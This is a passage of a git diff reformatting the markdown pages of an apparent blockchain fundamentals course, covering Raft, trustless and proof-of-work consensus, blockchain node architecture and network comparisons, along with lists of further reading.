Machines,](https://en.wikipedia.org/wiki/Finite-state_machine){target=\_blank} [Peer-to-Peer Protocols,](https://en.wikipedia.org/wiki/List_of_P2P_protocols){target=\_blank} [Gossip Protocol](https://en.wikipedia.org/wiki/Gossip_protocol){target=\_blank} ### Advanced - * [Course: Distributed Systems](http://www.distributedsystemscourse.com/){target=_blank} -* [Textbook: Foundations of Distributed Consensus and Blockchains (Elaine Shi)](http://elaineshi.com/docs/blockchain-book.pdf){target=_blank} An advanced and extremely technical but comprehensive view on distributed consensus as it pertains to blockchain development. -* [Academic Article: Leslie Lamport's Byzantine Generals Problem](https://lamport.azurewebsites.net/pubs/byz.pdf){target=_blank} -* [Article: Times, Clocks and Ordering (Leslie Lamport)](https://lamport.azurewebsites.net/pubs/time-clocks.pdf){target=_blank} -* [GitHub: Notes for Dean Eigenmann's Article "Times, Clocks and Ordering"](https://github.com/decanus/research/issues/10){target=_blank} -* [GitHub: P2P Workshops](https://webtorrent.github.io/workshop/){target=_blank} This site has a series of exercises to learn about building P2P networks - - +- [Course: Distributed Systems](http://www.distributedsystemscourse.com/){target=\_blank} +- [Textbook: Foundations of Distributed Consensus and Blockchains (Elaine Shi)](http://elaineshi.com/docs/blockchain-book.pdf){target=\_blank} An advanced and extremely technical but comprehensive view on distributed consensus as it pertains to blockchain development. +- [Academic Article: Leslie Lamport's Byzantine Generals Problem](https://lamport.azurewebsites.net/pubs/byz.pdf){target=\_blank} +- [Article: Times, Clocks and Ordering (Leslie Lamport)](https://lamport.azurewebsites.net/pubs/time-clocks.pdf){target=\_blank} +- [GitHub: Notes for Dean Eigenmann's Article "Times, Clocks and Ordering"](https://github.com/decanus/research/issues/10){target=\_blank} +- [GitHub: P2P Workshops](https://webtorrent.github.io/workshop/){target=\_blank} This site has a series of exercises to learn about building P2P networks diff --git a/docs/S01-fundamentals/M2-consensus/L3-raft/index.md b/docs/S01-fundamentals/M2-consensus/L3-raft/index.md index 98967703..3404aa09 100644 --- a/docs/S01-fundamentals/M2-consensus/L3-raft/index.md +++ b/docs/S01-fundamentals/M2-consensus/L3-raft/index.md @@ -1,17 +1,13 @@ - Raft Consensus Tutorial -======================= +# Raft Consensus Tutorial - Please go to the [Secret Lives of Data](http://thesecretlivesofdata.com/raft/){target=_blank} website to learn about the basic mechanics of the [Raft consensus protocol.](https://en.wikipedia.org/wiki/Raft_(algorithm)){target=_blank} While Raft is a production-ready consensus protocol, we are mainly using it here to show you a concrete example of a distributed system maintaining state across different nodes in a network. +Please go to the [Secret Lives of Data](http://thesecretlivesofdata.com/raft/){target=\_blank} website to learn about the basic mechanics of the [Raft consensus protocol](){target=\_blank}. While Raft is a production-ready consensus protocol, we are mainly using it here to show you a concrete example of a distributed system maintaining state across different nodes in a network. - Please note, Raft is **not** a Byzantine fault tolerant consensus protocol. Instead, Raft is a **leader-led** consensus protocol, meaning all the nodes blindly trust whatever state the leader sends to them. However, in Raft, if the leader fails in some way and stops sending state, the other nodes in the network are able to identify the failure and re-elect another leader in a distributed way. In this way, the Raft consensus mechanism shows how a distributed system can replicate state in a resilient way. +Please note, Raft is **not** a Byzantine fault tolerant consensus protocol. Instead, Raft is a **leader-led** consensus protocol, meaning all the nodes blindly trust whatever state the leader sends to them. However, in Raft, if the leader fails in some way and stops sending state, the other nodes in the network are able to identify the failure and re-elect another leader in a distributed way. In this way, the Raft consensus mechanism shows how a distributed system can replicate state in a resilient way. - Even if you never see it or use it again, we hope learning about Raft will give you a better sense of how a distributed system can use a consensus protocol to adapt to node failures. +Even if you never see it or use it again, we hope learning about Raft will give you a better sense of how a distributed system can use a consensus protocol to adapt to node failures. - Additional Resources --------------------- +## Additional Resources -* [Wikipedia: Raft](https://en.wikipedia.org/wiki/Raft_(algorithm)){target=_blank} -* [Article: In Search of an Understandable Consensus Algorithm](https://raft.github.io/raft.pdf){target=_blank} -* The Raft consensus protocol was developed as a simpler alternative to the [Paxos consensus algorithm](https://en.wikipedia.org/wiki/Paxos_(computer_science)){target=_blank} developed by Leslie Lamport. - - \ No newline at end of file +- [Wikipedia: Raft](){target=\_blank} +- [Article: In Search of an Understandable Consensus Algorithm](https://raft.github.io/raft.pdf){target=\_blank} +- The Raft consensus protocol was developed as a simpler alternative to the [Paxos consensus algorithm](){target=\_blank} developed by Leslie Lamport. diff --git a/docs/S01-fundamentals/M2-consensus/L5-trustless-consensus/index.md b/docs/S01-fundamentals/M2-consensus/L5-trustless-consensus/index.md index 86d12f3a..6197d4e3 100644 --- a/docs/S01-fundamentals/M2-consensus/L5-trustless-consensus/index.md +++ b/docs/S01-fundamentals/M2-consensus/L5-trustless-consensus/index.md @@ -1,37 +1,32 @@ -Trustless Consensus -=================== +# Trustless Consensus - *Note: this section is fairly text heavy and may be difficult to understand at first. Not to worry! The two videos following this section cover similar material in a visual way. We'll also discuss this in our Office Hours or on Discord.* +_Note: this section is fairly text heavy and may be difficult to understand at first. Not to worry! The two videos following this section cover similar material in a visual way. We'll also discuss this in our Office Hours or on Discord._ We've spent the past few sections learning about how consensus protocols work to make peer-to-peer distributed systems maintain state across time despite node failure. This is a general computer science concept that's used in building distributed networks that may be susceptible to machine failures, message duplications, message corruptions, etc. Since they are decentralized networks, public blockchains have to deal with this category of problems. But, they are also presented with an entirely new set of issues. - Public blockchains introduce a specific challenge to agreeing on a state. In a non-blockchain distributed network, state is a set of data valuable really only to the private organization running the network. For example, in a digital streaming service, the state might contain where a user stopped watching a previous video. That way, if they start the video again and are served the content from a different network server, their place will be saved. +Public blockchains introduce a specific challenge to agreeing on a state. In a non-blockchain distributed network, state is a set of data valuable really only to the private organization running the network. For example, in a digital streaming service, the state might contain where a user stopped watching a previous video. That way, if they start the video again and are served the content from a different network server, their place will be saved. - The state of a public blockchain network, on the other hand, is the public, distributed ledger which contains the financial balances of everyone in the network. This has enormous value to many different organizations and individuals. In a way, everyone is incentivized to lie about the state of the network because it's directly tied to their net worth. Imagine if when you went to the bank, rather than a bank teller telling you your balance, *they* asked *you* for *your* balance. Most people would, at some point, be very tempted to lie and make up a number (Probably a very large number). +The state of a public blockchain network, on the other hand, is the public, distributed ledger which contains the financial balances of everyone in the network. This has enormous value to many different organizations and individuals. In a way, everyone is incentivize to lie about the state of the network because it's directly tied to their net worth. Imagine if when you went to the bank, rather than a bank teller telling you your balance, _they_ asked _you_ for _your_ balance. Most people would, at some point, be very tempted to lie and make up a number (Probably a very large number). - This is the main element that distinguishes public blockchain networks from traditional distributed networks. The network state of a blockchain is one that contains economic value directly impacting the actors in the network. But, as we've seen studying traditional distributed systems, the blockchain network still needs those nodes (which have competing interests) to update and propagate the state. +This is the main element that distinguishes public blockchain networks from traditional distributed networks. The network state of a blockchain is one that contains economic value directly impacting the actors in the network. But, as we've seen studying traditional distributed systems, the blockchain network still needs those nodes (which have competing interests) to update and propagate the state. - Enter **trustless consensus:** Bitcoin solves this issue by creating a consensus mechanism which can operate in an adversarial environment where the nodes have competing interests. Rather than assuming the state they are propagating is correct, Bitcoin's trustless consensus allows each individual node to verify the state themselves using cryptography. We'll walk through how Bitcoin and other proof of work blockchain networks achieve this feat by describing the underlying assumptions and the solutions. +Enter **trustless consensus:** Bitcoin solves this issue by creating a consensus mechanism which can operate in an adversarial environment where the nodes have competing interests. Rather than assuming the state they are propagating is correct, Bitcoin's trustless consensus allows each individual node to verify the state themselves using cryptography. We'll walk through how Bitcoin and other proof of work blockchain networks achieve this feat by describing the underlying assumptions and the solutions. - -> Quick aside: What about current traditional banks? Don't they have distributed networks that contain economic value among nodes (customers) with competing interests? Why don't we consider them as solving this issue? Yes, this is true that global financial companies or governments have built distributed networks that have similar conditions to what public blockchains are hoping to achieve. However, these traditional networks separate trust from distributed consensus in their networks. You can imagine it like a castle, with powerful fortifications, that contains a ledger containing all the assets in the kingdom. If you can breach the defenses and get into the castle, you'll have control over that ledger. Blockchain's theoretical innovation is baking the defense *into* the consensus mechanisms themselves so there are many different castles and, if one falls, it may temporarily impact the network but will not collapse the system. +> Quick aside: What about current traditional banks? Don't they have distributed networks that contain economic value among nodes (customers) with competing interests? Why don't we consider them as solving this issue? Yes, this is true that global financial companies or governments have built distributed networks that have similar conditions to what public blockchains are hoping to achieve. However, these traditional networks separate trust from distributed consensus in their networks. You can imagine it like a castle, with powerful fortifications, that contains a ledger containing all the assets in the kingdom. If you can breach the defenses and get into the castle, you'll have control over that ledger. Blockchain's theoretical innovation is baking the defense _into_ the consensus mechanisms themselves so there are many different castles and, if one falls, it may temporarily impact the network but will not collapse the system. - In fact, because blockchains are removing trusted intermediaries (like a bank) the only way to make their network state secure is to assume that *everyone* is lying. With your trust assumptions low (assuming everyone is lying), you're protected against that behavior. How do you create a consensus protocol in these dire circumstances? Well, this is the incredible innovation that blockchains, beginning with Bitcoin, created. It not only built the ecosystem of blockchain networks we see in today's world, but it even solved a general distributed computing problem in the process. +In fact, because blockchains are removing trusted intermediaries (like a bank) the only way to make their network state secure is to assume that _everyone_ is lying. With your trust assumptions low (assuming everyone is lying), you're protected against that behavior. How do you create a consensus protocol in these dire circumstances? Well, this is the incredible innovation that blockchains, beginning with Bitcoin, created. It not only built the ecosystem of blockchain networks we see in today's world, but it even solved a general distributed computing problem in the process. -Double Spend and Byzantine Generals Solution --------------------------------------------- +## Double Spend and Byzantine Generals Solution - The biggest issue facing digital money is what is called the ["double spend"](https://www.investopedia.com/terms/d/doublespending.asp){target=_blank} problem: Since digital files can be copied endlessly, how can you be sure whatever digital money you're paid with has not been previously spent? +The biggest issue facing digital money is what is called the ["double spend"](https://www.investopedia.com/terms/d/doublespending.asp){target=\_blank} problem: Since digital files can be copied endlessly, how can you be sure whatever digital money you're paid with has not been previously spent? - This is the critical issue Satoshi Nakamoto set out to solve in [the Bitcoin whitepaper](https://bitcoin.org/bitcoin.pdf){target=_blank}: -> We propose a solution to the double-spending problem using a peer-to-peer network. The network timestamps transactions by hashing them into an ongoing chain of hash-based proof-of-work, forming a record that cannot be changed without redoing the proof-of-work. The longest chain not only serves as proof of the sequence of events witnessed, but proof that it came from the largest pool of CPU power. As long as a majority of CPU power is controlled by nodes that are not cooperating to attack the network, they'll generate the longest chain and outpace attackers. The network itself requires minimal structure. Messages are broadcast on a best effort basis, and nodes can leave and rejoin the network at will, accepting the longest proof-of-work chain as proof of what happened while they were gone. +This is the critical issue Satoshi Nakamoto set out to solve in [the Bitcoin whitepaper](https://bitcoin.org/bitcoin.pdf){target=\_blank}: - +> We propose a solution to the double-spending problem using a peer-to-peer network. The network timestamps transactions by hashing them into an ongoing chain of hash-based proof-of-work, forming a record that cannot be changed without redoing the proof-of-work. The longest chain not only serves as proof of the sequence of events witnessed, but proof that it came from the largest pool of CPU power. As long as a majority of CPU power is controlled by nodes that are not cooperating to attack the network, they'll generate the longest chain and outpace attackers. The network itself requires minimal structure. Messages are broadcast on a best effort basis, and nodes can leave and rejoin the network at will, accepting the longest proof-of-work chain as proof of what happened while they were gone. Nakamoto Consensus, also called Proof of Work consensus, creates a consensus mechanism for a digital money system where each individual node does not have to blindly accept the network state. - Elements of Proof of Work Consensus ------------------------------------ +## Elements of Proof of Work Consensus In discussing the elements comprising Proof of Work consensus, we'll pull from concepts we mentioned previously in our discussion of traditionally distributed networks. Specifically, you'll need to remember the concept of **messages**, the concept of **nodes** and the **roles** they play as well as the concept of **time** and **periods** in distributed systems. @@ -39,45 +34,41 @@ In discussing the elements comprising Proof of Work consensus, we'll pull from c In Proof of Work consensus, the fundamental message is a **transaction,** constructed using the public key cryptography and digital signatures primitives we discussed previously, "trustlessly" (cryptographically) ensuring the identity and integrity of the message. -Transactions in Proof of Work consensus are **[atomic,](https://en.wikipedia.org/wiki/Atomic_commit){target=_blank}** meaning the network either accepts or rejects the transaction, there is no in-between or halfway. If the network accepts the transaction, the network state then advances to incorporate the effects of the transaction. +Transactions in Proof of Work consensus are **[atomic](https://en.wikipedia.org/wiki/Atomic_commit){target=\_blank}**, meaning the network either accepts or rejects the transaction, there is no in-between or halfway. If the network accepts the transaction, the network state then advances to incorporate the effects of the transaction. For example, let's say an imaginary public ledger at `State-0` says Alejandro has `1 token` and Barbarella has `0 tokens`. Alejandro then submits a transaction to the network saying he would like to pay Barbarella `0.5 tokens`. The network accepts the transaction, which creates a new state, `State-1` in which the public ledger has been updated to show Alejandro now has `0.5 tokens` and Barbarella has `0.5 tokens`. ### Nodes and their Roles -In Proof of Work consensus, here are the roles nodes play: +In Proof of Work consensus, here are the roles nodes play: + - **Miners** These are the nodes which are certifying which transactions are valid by including them in blocks and receiving the block reward. When a miner creates a valid block and propagates it throughout the network, the network state is advanced in a trustless way. (We'll examine in a moment how a miner can create a block in a trustless way.) - **Full Nodes** These are the general network nodes which are creating transactions and passing along transactions created by other nodes in the network. They are also maintaining full network state when they receive valid blocks from Miner nodes. Each full node in the network checks the work of a block to ensure its validity. - **Light Nodes** These are network nodes which are simply submitting transactions to the network and waiting for them to be accepted by the network. They do not participate in the process of checking the validity of the advancing network state and do not pass along messages. - **Archive Nodes** Similar to a full node, it maintains and provides the current state, but also maintains and provides historical states. e.g. balance at x date. - *Remember from the section on public key cryptography that nodes identify themselves in the network by using the peer-to-peer identity mechanism of public key cryptography.* - - + _Remember from the section on public key cryptography that nodes identify themselves in the network by using the peer-to-peer identity mechanism of public key cryptography._ ### Periods and Proof of Work -In Proof of Work consensus, there are two distinct periods in a network: -* **Period of Block Production** This is the period in which Miner nodes validate transactions by bundling them all together and competing to produce a valid Proof of Work algorithm. It begins when the miner receives the latest valid block and stops when the miner solves their Proof of Work algorithm or receives a valid block from another miner. -* **Period of Block Propagation** This is the period in which a valid block gradually moves through the network. A full node or miner node will only propagate blocks that are valid, so the process of the network accepting a valid block (and accepted the new network state) is an emergent one. +In Proof of Work consensus, there are two distinct periods in a network: + +- **Period of Block Production** This is the period in which Miner nodes validate transactions by bundling them all together and competing to produce a valid Proof of Work algorithm. It begins when the miner receives the latest valid block and stops when the miner solves their Proof of Work algorithm or receives a valid block from another miner. +- **Period of Block Propagation** This is the period in which a valid block gradually moves through the network. A full node or miner node will only propagate blocks that are valid, so the process of the network accepting a valid block (and accepted the new network state) is an emergent one. - The following section will describe the process of creating a block and how blocks chained together create an immutable ledger that all network participants can validate on their own. This individual validation, without having to rely on trust, is how proof of work consensus maintains state in a distributed and safe way. + The following section will describe the process of creating a block and how blocks chained together create an immutable ledger that all network participants can validate on their own. This individual validation, without having to rely on trust, is how proof of work consensus maintains state in a distributed and safe way. -Additional Materials --------------------- +## Additional Materials ### Introduction - - [Video & Interactive Code: ETH.Build with Byzantine Generals' Problem](https://www.youtube.com/watch?v=c7yvOlwBPoQ&list=PLJz1HruEnenCXH7KW7wBCEBnBLOVkiqIi&index=7){target=_blank} Austin Griffith walks through a [hands-on implementation](https://sandbox.eth.build/build#3f3d25b54ec9fde9b34ba3a8cd505d8306f97eec4537cd707f7e92b5d9226bf4){target=_blank} of the Byzantine Generals' Problem with his amazing ETH.Build platform - - [Article: What is the Byzantine Generals Problem?](https://river.com/learn/what-is-the-byzantine-generals-problem/){target=_blank} - * [Interactive Code: Anders Blockchain](https://andersbrownworth.com/blockchain/){target=_blank} A great, web-based interactive tutorial going over fundamentals of Proof of Work consensus including [block production through hashing](https://andersbrownworth.com/blockchain/block){target=_blank} and [distributed blockchains](https://andersbrownworth.com/blockchain/distributed){target=_blank} - * [Article: How Satoshi Nakamoto Solved the Byzantine Generals Problem](https://news.bitcoin.com/triple-entry-bookkeeping-how-satoshi-nakamoto-solved-the-byzantine-generals-problem/){target=_blank} - * [Wikipedia: Directed Acyclic Graphs](https://en.wikipedia.org/wiki/Directed_acyclic_graph){target=_blank} Because each new block embeds the hash of the previous valid block, this creates a computer science data structure known as Directed Acyclic Graphs (similar to the way Git software works!).](https://ethereum.org/en/developers/docs/nodes-and-clients/#) +- [Video & Interactive Code: ETH.Build with Byzantine Generals' Problem](https://www.youtube.com/watch?v=c7yvOlwBPoQ&list=PLJz1HruEnenCXH7KW7wBCEBnBLOVkiqIi&index=7){target=\_blank} Austin Griffith walks through a [hands-on implementation](https://sandbox.eth.build/build#3f3d25b54ec9fde9b34ba3a8cd505d8306f97eec4537cd707f7e92b5d9226bf4){target=\_blank} of the Byzantine Generals' Problem with his amazing ETH.Build platform +- [Article: What is the Byzantine Generals Problem?](https://river.com/learn/what-is-the-byzantine-generals-problem/){target=\_blank} +- [Interactive Code: Anders Blockchain](https://andersbrownworth.com/blockchain/){target=\_blank} A great, web-based interactive tutorial going over fundamentals of Proof of Work consensus including [block production through hashing](https://andersbrownworth.com/blockchain/block){target=\_blank} and [distributed blockchains](https://andersbrownworth.com/blockchain/distributed){target=\_blank} +- [Article: How Satoshi Nakamoto Solved the Byzantine Generals Problem](https://news.bitcoin.com/triple-entry-bookkeeping-how-satoshi-nakamoto-solved-the-byzantine-generals-problem/){target=\_blank} +- [Wikipedia: Directed Acyclic Graphs](https://en.wikipedia.org/wiki/Directed_acyclic_graph){target=\_blank} Because each new block embeds the hash of the previous valid block, this creates a computer science data structure known as Directed Acyclic Graphs (similar to the way Git software works!).](https://ethereum.org/en/developers/docs/nodes-and-clients/#) ### Advanced -* [Code: Implementing Proof of Work](https://github.com/cooganb/bitcoin-whitepaper-exercises/blob/master/pow/README.md){target=_blank} A continuation of the series from Kyle Simpson -* [Code: Implementing Mining Protocol](https://github.com/cooganb/bitcoin-whitepaper-exercises/blob/master/incentives/README.md){target=_blank} A continuation of the series from Kyle Simpson - - - +- [Code: Implementing Proof of Work](https://github.com/cooganb/bitcoin-whitepaper-exercises/blob/master/pow/README.md){target=\_blank} A continuation of the series from Kyle Simpson +- [Code: Implementing Mining Protocol](https://github.com/cooganb/bitcoin-whitepaper-exercises/blob/master/incentives/README.md){target=\_blank} A continuation of the series from Kyle Simpson diff --git a/docs/S01-fundamentals/M3-ag-blockchain/L1-mental-model/index.md b/docs/S01-fundamentals/M3-ag-blockchain/L1-mental-model/index.md index 77f5c0c6..4b9e4eb2 100644 --- a/docs/S01-fundamentals/M3-ag-blockchain/L1-mental-model/index.md +++ b/docs/S01-fundamentals/M3-ag-blockchain/L1-mental-model/index.md @@ -1,31 +1,27 @@ - Mental Model for Basic Blockchain Architecture -============================================== +# Mental Model for Basic Blockchain Architecture - Let's take a look at this diagram of a blockchain node, which is not specific to any particular cryptocurrency and could be on any blockchain network: +Let's take a look at this diagram of a blockchain node, which is not specific to any particular cryptocurrency and could be on any blockchain network: - ![basic diagram of blockchain node](../../../img/S01/ag-blockchain-1.png) +![basic diagram of blockchain node](../../../img/S01/ag-blockchain-1.png) - Above the dotted line is the distributed, peer-to-peer network with which the node is interacting. As we mentioned previously, the fundamental unit of communication is the **transaction,** (commonly shortened to *txn*), which the node is both sending and receiving from the network. +Above the dotted line is the distributed, peer-to-peer network with which the node is interacting. As we mentioned previously, the fundamental unit of communication is the **transaction,** (commonly shortened to _txn_), which the node is both sending and receiving from the network. - Below the line are all the primitives we have discussed in this section. We have the cryptographic primitives used in the network identity, and those used to validate transactions. We also have the consensus protocol, which is agreed upon by the network, and which the node will use to check the validity of the blocks. If the block is valid, the node will update its network state with the changes the valid transactions make. If this node is a miner, the consensus mechanism will also work to produce a valid block. +Below the line are all the primitives we have discussed in this section. We have the cryptographic primitives used in the network identity, and those used to validate transactions. We also have the consensus protocol, which is agreed upon by the network, and which the node will use to check the validity of the blocks. If the block is valid, the node will update its network state with the changes the valid transactions make. If this node is a miner, the consensus mechanism will also work to produce a valid block. - Let's now zoom out and see a simplified version of the larger network: +Let's now zoom out and see a simplified version of the larger network: - ![basic daigram of a blockchain network](../../../img/S01/ag-blockchain-2.png) +![basic diagram of a blockchain network](../../../img/S01/ag-blockchain-2.png) - The nodes have a different color to show they have unique identities, which are created by the cryptographic keys they use in their network identity. While the nodes have different identities, please note that they all have the same "Consensus Protocol." This is the mechanism they have all agreed to use to maintain and update their network state. However, it's only successful if everyone is using it and coming to agreement about the network state. Luckily, this network we are looking at is all in agreement about its state. +The nodes have a different color to show they have unique identities, which are created by the cryptographic keys they use in their network identity. While the nodes have different identities, please note that they all have the same "Consensus Protocol." This is the mechanism they have all agreed to use to maintain and update their network state. However, it's only successful if everyone is using it and coming to agreement about the network state. Luckily, this network we are looking at is all in agreement about its state. - Please notice the middle of the diagram, the **Emergent Properties**. It's easy to forget that the network state and the network consensus are not a set, static property. Instead, they are a constantly evolving and mutating entity that changes with each transaction that is confirmed by the consensus protocol then propagated to the rest of the network. +Please notice the middle of the diagram, the **Emergent Properties**. It's easy to forget that the network state and the network consensus are not a set, static property. Instead, they are a constantly evolving and mutating entity that changes with each transaction that is confirmed by the consensus protocol then propagated to the rest of the network. - In our everyday life, we're more likely to encounter centralized entities attesting to a state. Your bank tells you your balance is a certain number, etc. With distributed networks, the network state is not something that's dictated by one centralized force. Instead, it's something that emerges from all the networks of participants, sometimes numbering in the millions, passing transactions, valid blocks and gradually shifting from one network state to the next. +In our everyday life, we're more likely to encounter centralized entities attesting to a state. Your bank tells you your balance is a certain number, etc. With distributed networks, the network state is not something that's dictated by one centralized force. Instead, it's something that emerges from all the networks of participants, sometimes numbering in the millions, passing transactions, valid blocks and gradually shifting from one network state to the next. - In the next section, we'll talk about how some network configurations change and why. But don't forget that, for every blockchain network, there is a generalizable structure you can isolate and use to identify what's different or the same. This will help you discern what networks are good for what purpose, how stable a network may be, or what improvements or innovations will change which part of a network. +In the next section, we'll talk about how some network configurations change and why. But don't forget that, for every blockchain network, there is a generalizable structure you can isolate and use to identify what's different or the same. This will help you discern what networks are good for what purpose, how stable a network may be, or what improvements or innovations will change which part of a network. - Additional Material -------------------- +## Additional Material - * [Interactive Code: Building a Blockchain (Josh Crites, ConsenSys Academy)](https://observablehq.com/@consensys-academy/building-a-blockchain){target=_blank} We created an interactive notebook where you can deepen your understanding and experiment to see how their properties are essential for building blockchains -* [Interactive Code: Anders Blockchain](https://andersbrownworth.com/blockchain/){target=_blank} A great, web-based interactive tutorial going over fundamentals of Proof of Work consensus including [block production through hashing](https://andersbrownworth.com/blockchain/block){target=_blank} and [distributed blockchains](https://andersbrownworth.com/blockchain/distributed){target=_blank} -* [Code Tutorial: Build Your Own Blockchain](https://karpathy.github.io/2021/06/21/blockchain/){target=_blank} Andrej Karpathy, who's done some great machine learning tutorials, built this tutorial walking through building the Bitcoin network using Python. - - \ No newline at end of file +- [Interactive Code: Building a Blockchain (Josh Crites, ConsenSys Academy)](https://observablehq.com/@consensys-academy/building-a-blockchain){target=\_blank} We created an interactive notebook where you can deepen your understanding and experiment to see how their properties are essential for building blockchains +- [Interactive Code: Anders Blockchain](https://andersbrownworth.com/blockchain/){target=\_blank} A great, web-based interactive tutorial going over fundamentals of Proof of Work consensus including [block production through hashing](https://andersbrownworth.com/blockchain/block){target=\_blank} and [distributed blockchains](https://andersbrownworth.com/blockchain/distributed){target=\_blank} +- [Code Tutorial: Build Your Own Blockchain](https://karpathy.github.io/2021/06/21/blockchain/){target=\_blank} Andrej Karpathy, who's done some great machine learning tutorials, built this tutorial walking through building the Bitcoin network using Python. diff --git a/docs/S01-fundamentals/M3-ag-blockchain/L2-configurations/index.md b/docs/S01-fundamentals/M3-ag-blockchain/L2-configurations/index.md index c00ec300..7106dde6 100644 --- a/docs/S01-fundamentals/M3-ag-blockchain/L2-configurations/index.md +++ b/docs/S01-fundamentals/M3-ag-blockchain/L2-configurations/index.md @@ -1,37 +1,31 @@ -Configurations for Different Blockchain Networks -================================================ +# Configurations for Different Blockchain Networks Now that we have a general model of a blockchain, when we encounter a new network, we know which questions to ask. Some suggested parts of the model you could build on: -* **Nodes and Roles** What are the different roles in the network for nodes? What are the ways the nodes join the network and acquire their different roles? -* **Consensus Mechanism** Always good to know for a blockchain network, will typically let you know whether a network is public, private or consortium. It typically also lets you know the processing limit for the network. The lower the trust assumptions, usually the more limited the processing limit (To be clear, not always the case). -* **Periods** We mentioned *Block Production* and *Block Propagation* as two general periods in Proof of Work. In any network, what are the different periods the network goes through as it achieves distributed consensus? -* **Cryptographic Primitives** This is very technical and advanced, but knowing what cryptographic family and implementation the network uses for its hashing and encryption can shed some light on a network. Mainly, if a network is using zero-knowledge proofs (which we'll learn about later) or something dramatically different from another network, that's good to know. -* **Level of Decentralization** This is a fuzzier variable and may involve incorporating the above data points to determine the level of decentralization. Or, the network is private or a testnet and will openly state that it's more centralized since that's appropriate for its function. -* **Reason for Being** Another fuzzy variable but it can be very telling to ask why another blockchain network needs to exist. Not because any are perfect, but rather because the answer will hopefully provide some more context into how the network is different from networks you are more familiar with. That way, you can port over what you already know about your favorite blockchain network to better understand another. +- **Nodes and Roles** What are the different roles in the network for nodes? What are the ways the nodes join the network and acquire their different roles? +- **Consensus Mechanism** Always good to know for a blockchain network, will typically let you know whether a network is public, private or consortium. It typically also lets you know the processing limit for the network. The lower the trust assumptions, usually the more limited the processing limit (To be clear, not always the case). +- **Periods** We mentioned _Block Production_ and _Block Propagation_ as two general periods in Proof of Work. In any network, what are the different periods the network goes through as it achieves distributed consensus? +- **Cryptographic Primitives** This is very technical and advanced, but knowing what cryptographic family and implementation the network uses for its hashing and encryption can shed some light on a network. Mainly, if a network is using zero-knowledge proofs (which we'll learn about later) or something dramatically different from another network, that's good to know. +- **Level of Decentralization** This is a fuzzier variable and may involve incorporating the above data points to determine the level of decentralization. Or, the network is private or a testnet and will openly state that it's more centralized since that's appropriate for its function. +- **Reason for Being** Another fuzzy variable but it can be very telling to ask why another blockchain network needs to exist. Not because any are perfect, but rather because the answer will hopefully provide some more context into how the network is different from networks you are more familiar with. That way, you can port over what you already know about your favorite blockchain network to better understand another. -Other variables include: - -* Governance Structure (How does the network community decide on updates, fixes, etc.) -* Developer community size and support -* General community size and support -* Network size (How many nodes are there?) -* Open or Closed Source (Can anyone view or contribute to the implementation code online?) +Other variables include: - +- Governance Structure (How does the network community decide on updates, fixes, etc.) +- Developer community size and support +- General community size and support +- Network size (How many nodes are there?) +- Open or Closed Source (Can anyone view or contribute to the implementation code online?) - Below is an image showing a rough comparison of a few popular blockchain networks. Looking over it, you may see the benefit of having a set series of variables to analyze multiple networks. There aren't too many things that can change and those that do should have something to tell you about the purpose of the network and any strengths or weaknesses it might have: +Below is an image showing a rough comparison of a few popular blockchain networks. Looking over it, you may see the benefit of having a set series of variables to analyze multiple networks. There aren't too many things that can change and those that do should have something to tell you about the purpose of the network and any strengths or weaknesses it might have: - ![](../../../img/S01/blockchain-config.png) +![blockchain config](../../../img/S01/blockchain-config.png) - The other aspect of comparing blockchains is the concept of **crosschain compatibility** or [blockchain interoperability.](https://101blockchains.com/blockchain-interoperability/){target=_blank} This is the ability of public blockchains to share network data with each other. We're living in an increasingly multi-chain world, where there are many significant blockchain networks. Rather than trying to have one chain monopolize, blockchain interoperability seeks to leverage different strengths and minimize weaknesses of the existing chains. We'll discuss this in more detail in a later section. +The other aspect of comparing blockchains is the concept of **crosschain compatibility** or [blockchain interoperability](https://101blockchains.com/blockchain-interoperability/){target=\_blank}. This is the ability of public blockchains to share network data with each other. We're living in an increasingly multi-chain world, where there are many significant blockchain networks. Rather than trying to have one chain monopolize, blockchain interoperability seeks to leverage different strengths and minimize weaknesses of the existing chains. We'll discuss this in more detail in a later section. - Additional Materials --------------------- +## Additional Materials - * [Article: Secp256k1 (River Financial)](https://river.com/learn/terms/s/secp256k1/){target=_blank} Description of the Elliptic Curve used by Ethereum and Bitcoin. -* [Chart: Cryptography Behind Cryptocurrencies](https://www.susanka.eu/coins-crypto/){target=_blank} A table of which cryptography is used with major blockchain networks. -* [Article: Blockchain Interoperability: Why is Cross Chain Technology Important? (101 Blockchains)](https://101blockchains.com/blockchain-interoperability/){target=_blank} A brief introduction to blockchain interoperability. -* [Article: Understanding Cross Chain Communication (Ivan on Tech)](https://academy.ivanontech.com/blog/understanding-cross-chain-communication-examining-blockchain-interoperability-and-why-it-matters){target=_blank} Another overview of cross chain communication, including bridges. - - +- [Article: Secp256k1 (River Financial)](https://river.com/learn/terms/s/secp256k1/){target=\_blank} Description of the Elliptic Curve used by Ethereum and Bitcoin. +- [Chart: Cryptography Behind Cryptocurrencies](https://www.susanka.eu/coins-crypto/){target=\_blank} A table of which cryptography is used with major blockchain networks. +- [Article: Blockchain Interoperability: Why is Cross Chain Technology Important? (101 Blockchains)](https://101blockchains.com/blockchain-interoperability/){target=\_blank} A brief introduction to blockchain interoperability. +- [Article: Understanding Cross Chain Communication (Ivan on Tech)](https://academy.ivanontech.com/blog/understanding-cross-chain-communication-examining-blockchain-interoperability-and-why-it-matters){target=\_blank} Another overview of cross chain communication, including bridges. diff --git a/docs/S01-fundamentals/M4-bitcoin/L1-history-and-development/index.md b/docs/S01-fundamentals/M4-bitcoin/L1-history-and-development/index.md index 36b48555..bb78f200 100644 --- a/docs/S01-fundamentals/M4-bitcoin/L1-history-and-development/index.md +++ b/docs/S01-fundamentals/M4-bitcoin/L1-history-and-development/index.md @@ -1,65 +1,56 @@ - Bitcoin: History and Development -================================ +# Bitcoin: History and Development - *Please note: People have written books about Bitcoin's history and development and this is just a section of our course. We'll be the first to admit that an overview of Bitcoin requires discretion on our part. Opinionated or controversial comments are flagged as best we can but, as always, we're hoping mainly to give a overview of the major points. Inevitably, we'll miss something.* +_Please note: People have written books about Bitcoin's history and development and this is just a section of our course. We'll be the first to admit that an overview of Bitcoin requires discretion on our part. Opinionated or controversial comments are flagged as best we can but, as always, we're hoping mainly to give a overview of the major points. Inevitably, we'll miss something._ - "Bitcoin is Old Technology" ---------------------------- +## "Bitcoin is Old Technology" - As we've mentioned frequently, Bitcoin relies on decades of technological development. This has led to a meme "Bitcoin is Old Technology": +As we've mentioned frequently, Bitcoin relies on decades of technological development. This has led to a meme "Bitcoin is Old Technology": - ![diagram showing technical developments over the past 40 